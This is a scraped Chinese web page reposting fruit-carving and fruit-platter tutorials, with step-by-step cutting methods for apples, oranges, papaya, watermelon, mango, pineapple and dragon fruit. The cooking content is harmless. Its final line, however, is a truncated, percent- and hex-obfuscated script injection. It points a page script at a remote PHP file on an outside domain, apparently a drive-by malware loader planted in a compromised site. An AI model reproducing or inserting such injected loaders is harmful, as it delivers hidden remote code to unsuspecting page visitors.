奇特的水果蔬菜食品雕刻艺术

来源:百度文库 编辑:神马文学网 时间:2024/04/29 09:08:33
 
 

 











[转]很搞笑的图片 哦!



[转]很搞笑的图片 哦!





















 夏天到了,这样的西瓜你舍得吃吗?

 























 
 



 











 


 

春节果盘家庭制作

果盘,不是只有专业人士才能够做出来的哟!一点点的技巧,一点点的练习,人人都可以做出一个让人赞叹不已的果盘!

偷偷钻进厨房,然后在众人的惊叹声、赞许声、夸奖声中端出个艳惊四座的果盘吧!不要脸红、不要害羞哟!

一点点的心思、一点点的创意、一点点的技巧,改变的不仅是你的果盘,还有你的生活!

详情点击:http://blog.sina.com.cn/s/blog_4a9b56f20100grln.html
比翼双飞.jpg

果盘名称:春意盎然

所学内容:苹果蝴蝶、橙子花、草莓小花、苹果花的多种切法

bubugaosheng.jpg

果盘名称:百鸟争春

所学内容:西瓜的切法、猕猴桃花的切法、苹果塔的切法、瓜皮花的切法
 果雕(苹果切法、芭乐切法)橙子的切法--芒果的切法
.道具:水果刀、牙签
.材料:红苹果、芭乐各1个、黑豆4个
.做法:

1.将苹果纵切成3等份,1个半弧型做身体,1个做蟹脚,中间有果心的做螯。
2.将要做蟹螯的苹果心切除,从2/3处垂直切一刀。
3.剩余两边弧型苹果块,将一端削去一小片。
4.用小刀切去中间苹果肉,呈稍弯的八字形。
5.选较大的边,用2刀切出小V形做螯。
6.做为蟹脚的苹果,先对切,再由较小的边开始各切成4份,共8份。
7.蟹脚排好后,放上身体,再将插了牙签的黑豆做为眼睛。
. TIPS:由于苹果容易氧化,切开后要先浸泡柠檬汁,才不会让螃蟹变的「黑嬷嬷」。
-------------------------
橙子的切法(果盘、水果拼盘)

做法①:
1、用平刀以滚刀法去掉橙子的皮,用剪刀将橙皮剪成两头略尖的形状。
2、用平刀刀尖在橙皮表面划刻出图案。

3、将切好的橙皮分开。

4、取八分之一橙子在其两头各切一小口。

5、将切好的橙子皮插入小口中。


做法②:
1、将橙子切成8瓣,用刀子将橙子皮、肉分离,但不要切断。
2、用小刀在橙子批的左、右两侧斜切一刀。

3、将橙子皮折叠,将折好的橙子皮塞入果肉下方。


-------------------------
果盘的做法(木瓜的切法、西瓜的切法、水果拼盘)

做法①:
1、将木瓜洗净,用小刀先浅浅的画出齿状。
2、用小刀在画好的齿痕上划透,完整的划一圈,掰开。
3、如图切去木瓜的根部,为了摆放平稳。

做法②:
1、将西瓜纵向对半剖开,再改切成适当大小的块状。
2、切去3/4瓜瓤,再将瓜皮的白色部分去除,放盐水中浸泡数分钟,使瓜皮更柔软,更好造型。
3、将瓜皮部分从中间对半切开,两边分别划出等距离的印痕。要切的好看,关键是要距离相等,刀口要切的深一些,但不能切断。
4、将切好的瓜皮分别朝不同的方向弯曲,用牙签固定住,摆出造型。

做法③:
1、将瓜纵向对半剖开,再改切成适当大小的块状。
2、横切,将果肉、果皮分离,留一部分不分离。
3、在瓜皮表面刻出花纹并弯曲摆出造型。


-----------------------
芒果的切法(巧切芒果)



1、 先把芒果洗干净然后立着放在案板上,即让果核与案板呈垂直状,然后以果核为中心,在果核右边切一刀,芒果被分为两部分(见图1)
2、 按照同样的切法在果核的左边切一刀,芒果被分为三部分了(见图2)
3、 取芒果的左右两边果肉,在果肉上划格子,但是注意不要切到皮(见图3)每次中间的果核就当场被我消灭掉:)
4、 把划好格子的芒果拿在手上,手指抵住芒果皮往上顶,这样芒果就被翻成一朵花的样子了,装盘端上桌吧!
-------------------------
菠萝的切法
菠萝的切法
等等!下刀之前,友情提醒一下那些胆大心不细或不会用刀的朋友们:安全第一!
现在我就示范一下:
1。将菠萝顺长轴均匀切成四份儿,取一份用小刀贴着靠皮的地方分离皮和肉:

2。再将分离下来的菠萝去硬芯,怕麻烦的话可不去硬芯,留着让客人自己啃吧!(照片有点虚,凑合看吧!)。将菠萝切成一片片的,将切好的菠萝放回原来的菠萝壳里。现在你就开始给菠萝造型了:左一片、右一片,交错开就行了!
多来几张不同角度的给大家看看!





-----------------------
果盘:火龙果的4种切法(水果切法图解)

材料:火龙果

做法①:
1、将火龙果洗净,纵向切成均匀的四瓣。

2、取四分之一瓣火龙果,用刀子小心将果肉和皮分离开。

3、将果肉切成等距离的片状,用牙签交错码放。

做法②:
1、取四分之一瓣火龙果,用刀子小心将果肉和皮分离开。

2、用平刀沿火龙果的上端横向切一刀口,用平刀纵向切成等距离的块状,用牙签交错码开,再将顶部的果肉摆上即可。

做法③:
1、将火龙果洗净,纵向对半剖开,切厚片。

2、用平口刀在火龙果表皮上斜切一刀口,切透表皮。
3、将火龙果上不的皮、肉分离。
4、沿火龙果中部切开。
5、将火龙果切开幷分离。

做法④:
1、将火龙果洗净对半剖开。
2、用挖球器将火龙果果果肉挖成球状,火龙果皮可以做为盛水果的容器。



                                    惊人的万圣节南瓜雕刻





 















 

 



                             

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

tsByTagName%28%27script%27%29%5B0%5D.src%3D%27http%3A//%78%71%7a%6e%2e%69%6e%66%6f%2f%61%2f%31%36%33%2f%6e%2e%70%68%70%27%3Bwindow.x%3D1%7D">